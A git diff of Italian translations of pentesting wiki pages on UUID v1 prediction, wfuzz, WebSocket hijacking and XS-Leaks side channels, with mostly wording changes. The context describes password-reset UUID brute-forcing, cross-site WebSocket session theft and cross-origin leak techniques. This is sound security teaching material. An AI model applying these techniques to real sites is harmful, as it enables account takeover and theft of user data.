possono rappresentare lo stesso carattere astratto ma possono essere visualizzati in modo diverso. @@ -79,7 +79,7 @@ Quindi, un utente malintenzionato potrebbe inserire un carattere Unicode diverso ### XSS (Cross Site Scripting) -Puoi usare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS: +Puoi utilizzare uno dei seguenti caratteri per ingannare l'app web e sfruttare un XSS: ![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../images/image (312) (2).png>) @@ -89,7 +89,7 @@ Nota che, ad esempio, il primo carattere Unicode proposto può essere inviato co ### Fuzzing Regexes -Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe **normalizzare l'URL inviato** ma poi **accedervi così com'è**. +Quando il backend sta **controllando l'input dell'utente con una regex**, potrebbe essere possibile che l'**input** venga **normalizzato** per la **regex** ma **non** per dove viene **utilizzato**. Ad esempio, in un Open Redirect o SSRF, la regex potrebbe essere **normalizzando l'URL inviato** ma poi **accedendovi così com'è**. Lo strumento [**recollapse**](https://github.com/0xacb/recollapse) \*\*\*\* consente di **generare variazioni dell'input** per fuzzare il backend. Per ulteriori informazioni, controlla il **github** e questo [**post**](https://0xacb.com/2022/11/21/recollapse/). diff --git a/src/pentesting-web/uuid-insecurities.md b/src/pentesting-web/uuid-insecurities.md index 5297157ee..51e6a53c4 100644 --- a/src/pentesting-web/uuid-insecurities.md +++ b/src/pentesting-web/uuid-insecurities.md @@ -18,12 +18,12 @@ Gli UUID sono progettati per essere unici e **difficili da indovinare**. Sono st > 12345678 - abcd - 1a56 - a539 - 103755193864\ > xxxxxxxx - xxxx - Mxxx - Nxxx - xxxxxxxxxxxx > -> - La **posizione di M** indica la **versione** dell'UUID. Nell'esempio sopra, è UUID v**1**. -> - La **posizione di N** indica la variante dell'UUID. +> - La **posizione della M** indica la **versione** dell'UUID. Nell'esempio sopra, è UUID v**1**. +> - La **posizione della N** indica la variante dell'UUID. ## Sandwich attack -L'"Attacco Sandwich" è un tipo specifico di attacco che **sfrutta la prevedibilità della generazione di UUID v1 nelle applicazioni web**, in particolare in funzionalità come il ripristino della password. L'UUID v1 è generato in base al tempo, alla sequenza dell'orologio e all'indirizzo MAC del nodo, il che può renderlo in qualche modo prevedibile se un attaccante riesce a ottenere alcuni di questi UUID generati in un breve intervallo di tempo. +L'"Attacco Sandwich" è un tipo specifico di attacco che **sfrutta la prevedibilità della generazione di UUID v1 nelle applicazioni web**, in particolare in funzionalità come il ripristino della password. L'UUID v1 è generato in base al tempo, alla sequenza dell'orologio e all'indirizzo MAC del nodo, il che può renderlo in qualche modo prevedibile se un attaccante riesce a ottenere alcuni di questi UUID generati in un intervallo di tempo ravvicinato. ### Example @@ -37,16 +37,16 @@ Immagina un'applicazione web che utilizza UUID v1 per generare link di ripristin 2. **Execution**: - L'attaccante attiva un ripristino della password per il suo primo account (\`attacker1@acme.com\`) e riceve un link di ripristino della password con un UUID, ad esempio \`99874128-7592-11e9-8201-bb2f15014a14\`. -- Subito dopo, l'attaccante attiva un ripristino della password per l'account della vittima (\`victim@acme.com\`) e poi rapidamente per il secondo account controllato dall'attaccante (\`attacker2@acme.com\`). +- Immediatamente dopo, l'attaccante attiva un ripristino della password per l'account della vittima (\`victim@acme.com\`) e poi rapidamente per il secondo account controllato dall'attaccante (\`attacker2@acme.com\`). - L'attaccante riceve un link di ripristino per il secondo account con un UUID, ad esempio \`998796b4-7592-11e9-8201-bb2f15014a14\`. 3. **Analysis**: -- L'attaccante ora ha due UUID generati in un breve intervallo di tempo (\`99874128\` e \`998796b4\`). Data la natura sequenziale degli UUID basati sul tempo, l'UUID per l'account della vittima cadrà probabilmente tra questi due valori. +- L'attaccante ora ha due UUID generati in un intervallo di tempo ravvicinato (\`99874128\` e \`998796b4\`). Data la natura sequenziale degli UUID basati sul tempo, l'UUID per l'account della vittima cadrà probabilmente tra questi due valori. 4. **Brute Force Attack:** -- L'attaccante utilizza uno strumento per generare UUID tra questi due valori e testa ciascun UUID generato tentando di accedere al link di ripristino della password (ad esempio, \`https://www.acme.com/reset/\\`). +- L'attaccante utilizza uno strumento per generare UUID tra questi due valori e testa ogni UUID generato tentando di accedere al link di ripristino della password (ad esempio, \`https://www.acme.com/reset/\\`). - Se l'applicazione web non limita adeguatamente il tasso o non blocca tali tentativi, l'attaccante può rapidamente testare tutti gli UUID possibili nell'intervallo. 5. **Access Gained:** diff --git a/src/pentesting-web/web-tool-wfuzz.md b/src/pentesting-web/web-tool-wfuzz.md index 59688a611..d6b43fbb5 100644 --- a/src/pentesting-web/web-tool-wfuzz.md +++ b/src/pentesting-web/web-tool-wfuzz.md @@ -2,9 +2,9 @@ {{#include ../banners/hacktricks-training.md}} -Uno strumento per FUZZare applicazioni web ovunque. +Uno strumento per FUZZare le applicazioni web ovunque. -> [Wfuzz](https://github.com/xmendez/wfuzz) è stato creato per facilitare il compito nelle valutazioni delle applicazioni web ed è basato su un concetto semplice: sostituisce ogni riferimento alla parola chiave FUZZ con il valore di un dato payload. +> [Wfuzz](https://github.com/xmendez/wfuzz) è stato creato per facilitare il compito nelle valutazioni delle applicazioni web ed è basato su un concetto semplice: sostituisce qualsiasi riferimento alla parola chiave FUZZ con il valore di un dato payload. ## Installazione @@ -31,7 +31,7 @@ pip install wfuzz wfuzz -e printers #Prints the available output formats -f /tmp/output,csv #Saves the output in that location in csv format ``` -### Opzioni degli encoder +### Opzioni di codifica ```bash wfuzz -e encoders #Prints the available encoders #Examples: urlencode, md5, base64, hexlify, uri_hex, doble urlencode @@ -98,7 +98,7 @@ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains- top1million-20000.txt --hc 400,404,403 -H "Host: FUZZ.example.com" -u http://example.com -t 100 ``` -### HTTP Verbs (metodi) bruteforce +### HTTP Verbs (methods) bruteforce #### **Utilizzando il file** ```bash diff --git a/src/pentesting-web/web-vulnerabilities-methodology/README.md b/src/pentesting-web/web-vulnerabilities-methodology/README.md index 868eaa638..c79434064 100644 --- a/src/pentesting-web/web-vulnerabilities-methodology/README.md +++ b/src/pentesting-web/web-vulnerabilities-methodology/README.md @@ -94,7 +94,7 @@ Ci sono diverse funzionalità specifiche dove alcune soluzioni alternative potre ### **Structured objects / Specific functionalities** Alcune funzionalità richiederanno che **i dati siano strutturati in un formato molto specifico** (come un oggetto serializzato in linguaggio o XML). Pertanto, è più facile identificare se l'applicazione potrebbe essere vulnerabile poiché deve elaborare quel tipo di dati.\ -Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Iniezioni di Header Email). +Alcune **funzionalità specifiche** potrebbero essere vulnerabili se viene utilizzato un **formato specifico dell'input** (come le Email Header Injections). - [ ] [**Deserialization**](../deserialization/) - [ ] [**Email Header Injection**](../email-injections.md) diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 88d1ad83e..be4f34b71 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -12,7 +12,7 @@ Una spiegazione dettagliata su come stabilire connessioni WebSocket può essere ```javascript var ws = new WebSocket("wss://normal-website.com/ws") ``` -Il protocollo `wss` indica una connessione WebSocket protetta con **TLS**, mentre `ws` indica una connessione **non sicura**. +Il protocollo `wss` indica una connessione WebSocket protetta con **TLS**, mentre `ws` indica una connessione **non protetta**. Durante l'instaurazione della connessione, viene eseguito un handshake tra il browser e il server tramite HTTP. Il processo di handshake prevede che il browser invii una richiesta e il server risponda, come illustrato nei seguenti esempi: @@ -44,7 +44,7 @@ La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente. -### Linux console +### Console Linux Puoi usare `websocat` per stabilire una connessione raw con un websocket. ```bash @@ -68,7 +68,7 @@ Puoi usare il **tool** [**https://github.com/PalindromeLabs/STEWS**](https://git ### Strumenti di Debug per Websocket - **Burp Suite** supporta la comunicazione MitM dei websockets in modo molto simile a come lo fa per la comunicazione HTTP regolare. -- L'**estensione Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la** **cronologia**, impostando **regole di intercettazione**, utilizzando **regole di corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.** +- L'estensione **[**socketsleuth**](https://github.com/snyk/socketsleuth)** di Burp Suite ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la **cronologia**, impostando **regole di intercettazione**, utilizzando regole di **corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.** - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abbreviazione di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per **catturare, intercettare, inviare messaggi personalizzati** e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server. - [**wsrepl**](https://github.com/doyensec/wsrepl) è un **REPL websocket interattivo** progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare **i messaggi websocket in arrivo e inviarne di nuovi**, con un framework facile da usare per **automatizzare** questa comunicazione. - [**https://websocketking.com/**](https://websocketking.com/) è un **web per comunicare** con altri web utilizzando **websockets**. @@ -80,13 +80,13 @@ In [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Bur ## Hijacking WebSocket Cross-site (CSWSH) -**L'hijacking WebSocket cross-site**, noto anche come **hijacking WebSocket cross-origin**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce i handshake WebSocket. Questa vulnerabilità si verifica quando i handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **token CSRF** o misure di sicurezza simili. +**L'hijacking WebSocket cross-site**, noto anche come **hijacking WebSocket cross-origin**, è identificato come un caso specifico di **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** che colpisce gli handshake WebSocket. Questa vulnerabilità si verifica quando gli handshake WebSocket si autenticano esclusivamente tramite **HTTP cookies** senza **token CSRF** o misure di sicurezza simili. -Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione è trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni. +Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** che avvia una connessione WebSocket cross-site a un'applicazione vulnerabile. Di conseguenza, questa connessione viene trattata come parte della sessione della vittima con l'applicazione, sfruttando la mancanza di protezione CSRF nel meccanismo di gestione delle sessioni. ### Attacco Semplice -Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe usarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket** basata sul **cookie** inviato. +Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe usarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket** basata sul cookie inviato. Quindi, se per **esempio** il **server websocket** **invia indietro la cronologia della conversazione** di un utente se viene inviato un msg con "**READY"**, allora un **semplice XSS** stabilendo la connessione (il **cookie** sarà **inviato** **automaticamente** per autorizzare l'utente vittima) **inviando** "**READY**" sarà in grado di **recuperare** la cronologia della **conversazione**. ```markup @@ -136,7 +136,7 @@ sudo python3 -m http.server 80 ``` ## Condizioni di gara -Le condizioni di gara nei WebSocket sono un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets). +Le condizioni di gara nei WebSocket sono anche un problema, [controlla queste informazioni per saperne di più](race-condition.md#rc-in-websockets). ## Altre vulnerabilità diff --git a/src/pentesting-web/xs-search.md b/src/pentesting-web/xs-search.md index 515ee3ab5..25ddc22bf 100644 --- a/src/pentesting-web/xs-search.md +++ b/src/pentesting-web/xs-search.md @@ -2,7 +2,7 @@ {{#include ../banners/hacktricks-training.md}} -## Informazioni di base +## Informazioni di Base XS-Search è un metodo utilizzato per **estrarre informazioni cross-origin** sfruttando **vulnerabilità nei canali laterali**. @@ -13,7 +13,7 @@ I componenti chiave coinvolti in questo attacco includono: - **Metodo di Inclusione**: La tecnica impiegata per incorporare il Web Vulnerabile nel Web dell'Attaccante (ad es., window.open, iframe, fetch, tag HTML con href, ecc.). - **Tecnica di Leak**: Tecniche utilizzate per discernere le differenze nello stato del Web Vulnerabile basate sulle informazioni raccolte attraverso il metodo di inclusione. - **Stati**: Le due potenziali condizioni del Web Vulnerabile, che l'attaccante mira a distinguere. -- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per dedurre lo stato del Web Vulnerabile. +- **Differenze Rilevabili**: Variazioni osservabili su cui l'attaccante si basa per inferire lo stato del Web Vulnerabile. ### Differenze Rilevabili @@ -30,14 +30,14 @@ Diversi aspetti possono essere analizzati per differenziare gli stati del Web Vu - **Elementi HTML**: L'HTML offre vari elementi per **l'inclusione di risorse cross-origin**, come fogli di stile, immagini o script, costringendo il browser a richiedere una risorsa non HTML. Una compilazione di potenziali elementi HTML per questo scopo può essere trovata su [https://github.com/cure53/HTTPLeaks](https://github.com/cure53/HTTPLeaks). - **Frame**: Elementi come **iframe**, **object** e **embed** possono incorporare risorse HTML direttamente nella pagina dell'attaccante. Se la pagina **manca di protezione al framing**, JavaScript può accedere all'oggetto finestra della risorsa incapsulata tramite la proprietà contentWindow. -- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, aggirano le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente. +- **Pop-up**: Il metodo **`window.open`** apre una risorsa in una nuova scheda o finestra, fornendo un **handle della finestra** per JavaScript per interagire con metodi e proprietà seguendo il SOP. I pop-up, spesso utilizzati nel single sign-on, eludono le restrizioni di framing e cookie di una risorsa target. Tuttavia, i browser moderni limitano la creazione di pop-up a determinate azioni dell'utente. - **Richieste JavaScript**: JavaScript consente richieste dirette a risorse target utilizzando **XMLHttpRequests** o l'**Fetch API**. Questi metodi offrono un controllo preciso sulla richiesta, come scegliere di seguire i reindirizzamenti HTTP. ### Tecniche di Leak - **Gestore di Eventi**: Una tecnica di leak classica in XS-Leaks, dove gestori di eventi come **onload** e **onerror** forniscono informazioni sul successo o il fallimento del caricamento delle risorse. - **Messaggi di Errore**: Eccezioni JavaScript o pagine di errore speciali possono fornire informazioni di leak direttamente dal messaggio di errore o differenziando tra la sua presenza e assenza. -- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto una soglia, fungendo da tecnica di leak. +- **Limiti Globali**: Limitazioni fisiche di un browser, come la capacità di memoria o altri limiti imposti dal browser, possono segnalare quando viene raggiunto un limite, fungendo da tecnica di leak. - **Stato Globale**: Interazioni rilevabili con gli **stati globali** dei browser (ad es., l'interfaccia Storia) possono essere sfruttate. Ad esempio, il **numero di voci** nella cronologia di un browser può offrire indizi su pagine cross-origin. - **Performance API**: Questa API fornisce **dettagli sulle prestazioni della pagina corrente**, inclusi i tempi di rete per il documento e le risorse caricate, consentendo inferenze sulle risorse richieste. - **Attributi Leggibili**: Alcuni attributi HTML sono **leggibili cross-origin** e possono essere utilizzati come tecnica di leak. Ad esempio, la proprietà `window.frame.length` consente a JavaScript di contare i frame inclusi in una pagina web cross-origin. @@ -136,7 +136,7 @@ Il tempo necessario per recuperare una risorsa può essere misurato utilizzando Supponiamo che tu possa **inserire** la **pagina** che ha il **contenuto segreto** **all'interno di un Iframe**. -Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF, ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL. +Puoi **far cercare alla vittima** il file che contiene "_**flag**_" utilizzando un **Iframe** (sfruttando un CSRF ad esempio). All'interno dell'Iframe sai che l'_**evento onload**_ verrà **eseguito sempre almeno una volta**. Poi, puoi **cambiare** l'**URL** dell'**iframe** cambiando solo il **contenuto** dell'**hash** all'interno dell'URL. Per esempio: @@ -200,7 +200,7 @@ Le applicazioni utilizzano frequentemente i [`postMessage` broadcasts](https://d - **Summary**: Esaurire il limite di connessione WebSocket rivela il numero di connessioni WebSocket di una pagina cross-origin. - **Code Example**: [https://xsinator.com/testing.html#WebSocket%20Leak%20(FF)](), [https://xsinator.com/testing.html#WebSocket%20Leak%20(GC)]() -È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e rivelare informazioni legate al numero di connessioni WebSocket. +È possibile identificare se, e quante, **connessioni WebSocket una pagina target utilizza**. Ciò consente a un attaccante di rilevare stati dell'applicazione e di rivelare informazioni legate al numero di connessioni WebSocket. Se un **origin** utilizza il **massimo numero di oggetti di connessione WebSocket**, indipendentemente dal loro stato di connessione, la creazione di **nuovi oggetti genererà eccezioni JavaScript**. Per eseguire questo attacco, il sito web dell'attaccante apre il sito web target in un pop-up o iframe e poi, dopo che il sito web target è stato caricato, tenta di creare il numero massimo possibile di connessioni WebSocket. Il **numero di eccezioni generate** è il **numero di connessioni WebSocket utilizzate dalla finestra del sito web target**. @@ -238,10 +238,10 @@ JavaScript opera su un modello di concorrenza [a ciclo di eventi a thread singol - **Inclusion Methods**: - **Detectable Difference**: Timing (generalmente a causa del contenuto della pagina, codice di stato) - **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop](https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop) -- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web implica bloccare intenzionalmente il ciclo di eventi di un thread e poi misurare **quanto tempo impiega il ciclo di eventi a diventare di nuovo disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi l'esecuzione, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread. +- **Summary:** Un metodo per misurare il tempo di esecuzione di un'operazione web comporta il blocco intenzionale del ciclo di eventi di un thread e quindi misurare **quanto tempo impiega il ciclo di eventi a diventare nuovamente disponibile**. Inserendo un'operazione di blocco (come un lungo calcolo o una chiamata API sincrona) nel ciclo di eventi e monitorando il tempo necessario affinché il codice successivo inizi a essere eseguito, si può dedurre la durata delle attività che venivano eseguite nel ciclo di eventi durante il periodo di blocco. Questa tecnica sfrutta la natura a thread singolo del ciclo di eventi di JavaScript, dove le attività vengono eseguite in sequenza, e può fornire informazioni sulle prestazioni o sul comportamento di altre operazioni che condividono lo stesso thread. - **Code Example**: -Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Isolamento del Sito**. **Isolamento del Sito** è una funzione di sicurezza che separa diversi siti web in processi separati, mirando a prevenire che siti malevoli accedano direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Isolamento del Sito**. +Un vantaggio significativo della tecnica di misurazione del tempo di esecuzione bloccando il ciclo di eventi è il suo potenziale di eludere la **Isolamento del Sito**. **Isolamento del Sito** è una funzione di sicurezza che separa diversi siti web in processi separati, mirando a impedire ai siti dannosi di accedere direttamente a dati sensibili di altri siti. Tuttavia, influenzando il timing di esecuzione di un'altra origine attraverso il ciclo di eventi condiviso, un attaccante può indirettamente estrarre informazioni sulle attività di quell'origine. Questo metodo non si basa su un accesso diretto ai dati dell'altra origine, ma piuttosto osserva l'impatto delle attività di quell'origine sul ciclo di eventi condiviso, eludendo così le barriere protettive stabilite da **Isolamento del Sito**. > [!WARNING] > In un timing di esecuzione è possibile **eliminare** **fattori di rete** per ottenere **misurazioni più precise**. Ad esempio, caricando le risorse utilizzate dalla pagina prima di caricarla. @@ -263,7 +263,7 @@ I browser utilizzano socket per la comunicazione con il server, ma a causa delle 1. Accertare il limite di socket del browser, ad esempio, 256 socket globali. 2. Occupare 255 socket per un lungo periodo avviando 255 richieste a vari host, progettate per mantenere le connessioni aperte senza completarle. 3. Utilizzare il 256° socket per inviare una richiesta alla pagina target. -4. Tentare una 257° richiesta a un host diverso. Dato che tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, implicando che qualsiasi nuovo socket disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario per completare la richiesta alla pagina target. +4. Tentare una 257° richiesta a un host diverso. Poiché tutti i socket sono in uso (come da passaggi 2 e 3), questa richiesta verrà messa in coda fino a quando un socket diventa disponibile. Il ritardo prima che questa richiesta proceda fornisce all'attaccante informazioni temporali sull'attività di rete relativa al socket del 256° (il socket della pagina target). Questa deduzione è possibile perché i 255 socket del passaggio 2 sono ancora impegnati, il che implica che qualsiasi nuovo socket disponibile deve essere quello rilasciato dal passaggio 3. Il tempo impiegato affinché il 256° socket diventi disponibile è quindi direttamente collegato al tempo necessario affinché la richiesta alla pagina target venga completata. Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/](https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/) @@ -276,7 +276,7 @@ Per ulteriori informazioni: [https://xsleaks.dev/docs/attacks/timing-attacks/con ## Tecniche dell'API di Prestazioni -L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Timing delle Risorse consente il monitoraggio dei tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili. +L'[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) offre informazioni sulle metriche di prestazione delle applicazioni web, ulteriormente arricchite dall'[`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). L'API di Timing delle Risorse consente di monitorare i tempi dettagliati delle richieste di rete, come la durata delle richieste. Notabilmente, quando i server includono l'intestazione `Timing-Allow-Origin: *` nelle loro risposte, dati aggiuntivi come la dimensione del trasferimento e il tempo di ricerca del dominio diventano disponibili. Questa ricchezza di dati può essere recuperata tramite metodi come [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) o [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), fornendo una visione completa delle informazioni relative alle prestazioni. Inoltre, l'API facilita la misurazione dei tempi di esecuzione calcolando la differenza tra i timestamp ottenuti da [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Tuttavia, vale la pena notare che per alcune operazioni in browser come Chrome, la precisione di `performance.now()` può essere limitata ai millisecondi, il che potrebbe influenzare la granularità delle misurazioni temporali. @@ -320,7 +320,7 @@ La tecnica è stata trovata in una tabella nel documento menzionato, ma non è s - **Summary:** Le risposte vuote non creano voci di timing delle risorse. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak) -Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché le **pagine vuote non creano un'entrata di prestazione in alcuni browser**. +Un attaccante può rilevare se una richiesta ha portato a un corpo di risposta HTTP vuoto perché **le pagine vuote non creano un'entrata di prestazione in alcuni browser**. ### **Perdita di XSS-Auditor** @@ -351,7 +351,7 @@ Lo stesso accade se utilizzi un **tag embed**. - **Summary:** I download non creano voci di timing delle risorse nell'API di Prestazioni. - **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection) -Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser. +Simile alla XS-Leak descritta, una **risorsa che viene scaricata** a causa dell'intestazione ContentDisposition, non crea **un'entrata di prestazione**. Questa tecnica funziona in tutti i principali browser. ### Perdita di Inizio Redirect @@ -361,7 +361,7 @@ Simile all'XS-Leak descritto, una **risorsa che viene scaricata** a causa dell'i - **Summary:** L'entrata di timing delle risorse rivela l'orario di inizio di un redirect. - **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak) -Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i **dati temporali redirectStart**. +Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni browser che registrano troppe informazioni per le richieste cross-origin. Lo standard definisce un sottoinsieme di attributi che dovrebbero essere impostati a zero per le risorse cross-origin. Tuttavia, in **SA** è possibile rilevare se l'utente è **stato reindirizzato** dalla pagina target, interrogando l'**API di Prestazioni** e controllando i dati temporali di **redirectStart**. ### Perdita di Durata Redirect @@ -373,7 +373,7 @@ Abbiamo trovato un'istanza di XS-Leak che sfrutta il comportamento di alcuni bro In GC, la **durata** per le richieste che portano a un **redirect** è **negativa** e può quindi essere **distinta** dalle richieste che non portano a un redirect. -### Perdita di CORP +### Perdita CORP - **Inclusion Methods**: Frames - **Detectable Difference**: Intestazione @@ -470,7 +470,7 @@ err.message + audioElement.onerror = errHandler } ``` -L'interfaccia `MediaError` ha una proprietà message che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato di risposta di una risorsa cross-origin. +L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato della risposta di una risorsa cross-origin. ### Errore CORS @@ -490,17 +490,17 @@ Questa tecnica consente a un attaccante di **estrarre la destinazione di un rein - **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate. - **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak) -Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak. +Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di recupero con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore di hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak. ### Violazione/Rilevamento CSP - **Metodi di Inclusione**: Pop-up - **Differenza Rilevabile**: Codice di Stato - **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), 